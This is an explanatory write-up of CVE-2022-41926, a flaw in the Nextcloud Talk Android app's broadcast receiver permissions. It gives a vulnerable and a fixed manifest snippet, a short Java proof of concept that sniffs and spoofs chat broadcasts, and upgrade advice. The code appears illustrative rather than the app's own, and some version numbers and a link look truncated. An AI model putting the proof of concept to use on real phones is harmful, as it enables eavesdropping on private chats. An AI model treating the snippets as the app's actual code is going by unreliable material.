CVE-2022-41926 - Unpacking the Nextcloud Talk Android Vulnerability—Details, Exploit, and How to Stay Safe

Nextcloud Talk is a popular secure video and chat app used by businesses, schools, and privacy-conscious individuals. The Android version of Nextcloud Talk lets users send messages, hold voice/video calls, and share files—all hosted on their own Nextcloud servers.

But in 2022, a critical security flaw was discovered in the Nextcloud Talk Android app. Known as CVE-2022-41926, this vulnerability put millions of conversations at risk. Let's break down what happened, how it could be abused, and what you should do to protect yourself.

The Weak Spot: Broadcast Receiver Permissions

Android apps often use something called a "broadcast receiver" to listen for messages sent by other apps or system components. If you want to keep your app's inner conversations private, you should restrict who can send or listen to those broadcasts using broadcast permissions.

Nextcloud Talk for Android—in versions *before* 14.1.—failed to do this. Specifically, it did not properly protect its broadcast receiver with broadcastPermission. This basically left the door open for any other app on your phone to snoop on Nextcloud Talk's internal communications.

Impact:
A malicious app installed on your phone could intercept, monitor, or manipulate chat communications that pass through these broadcasts, potentially exposing private messages or triggering actions in Nextcloud Talk without your consent.

What Does the Code Look Like?

Here’s a simple code example to show what went wrong.

Vulnerable Receiver Registration

// Bad: No permission set for the broadcast receiver registration
<receiver android:name=".TalkBroadcastReceiver">
    <intent-filter>
        <action android:name="com.nextcloud.talk.NEW_MESSAGE" />
    </intent-filter>
</receiver>

This lets any app send or receive this broadcast.

How It Should Be

// Good: Requires apps to have the "com.nextcloud.talk.BROADCAST" permission
<receiver android:name=".TalkBroadcastReceiver"
          android:exported="false"
          android:permission="com.nextcloud.talk.BROADCAST">
    <intent-filter>
        <action android:name="com.nextcloud.talk.NEW_MESSAGE" />
    </intent-filter>
</receiver>

This makes it much harder for malicious apps to eavesdrop or send fake messages.

How Could Attackers Exploit CVE-2022-41926?

A regular app (even without requesting dangerous permissions) could register for or broadcast to the vulnerable receiver. Let’s demonstrate with a simple proof-of-concept code snippet that could read private messages:

// Malicious app listening in on Nextcloud Talk broadcasts
public class HackerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String chatData = intent.getStringExtra("message");
        Log.d("Hacker", "Sniffed message: " + chatData);
        // Attacker could store or send this data elsewhere
    }
}

And to trigger Nextcloud Talk to handle a fake message

// Malicious app sending a spoofed broadcast
Intent fakeIntent = new Intent("com.nextcloud.talk.NEW_MESSAGE");
fakeIntent.putExtra("message", "You are hacked!");
context.sendBroadcast(fakeIntent);

If you had a vulnerable version of Nextcloud Talk installed, an attacker could not only steal chat contents but also manipulate your chat app!

How to Fix and Protect Yourself

No workarounds exist. The only way to be safe is to update your app.

1. Go to the Google Play Store link for Nextcloud Talk

Check that you have version 14.1. or later.

If you use APKs directly, get the latest APK from the official Nextcloud GitHub releases.

References

- Original Security Advisory (Nextcloud)
- NVD Entry for CVE-2022-41926
- Nextcloud Talk Android App on GitHub
- Broadcast Receivers and Permissions - Android Developers Docs

Final Thoughts

If you’re using Nextcloud Talk on Android, don’t wait—this is a simple but serious flaw that malicious apps could use to monitor your private conversations. Always keep your chat apps up to date, and avoid installing unknown apps on your phone.

Timeline

Published on: 11/25/2022 19:15:00 UTC
Last modified on: 12/01/2022 14:45:00 UTC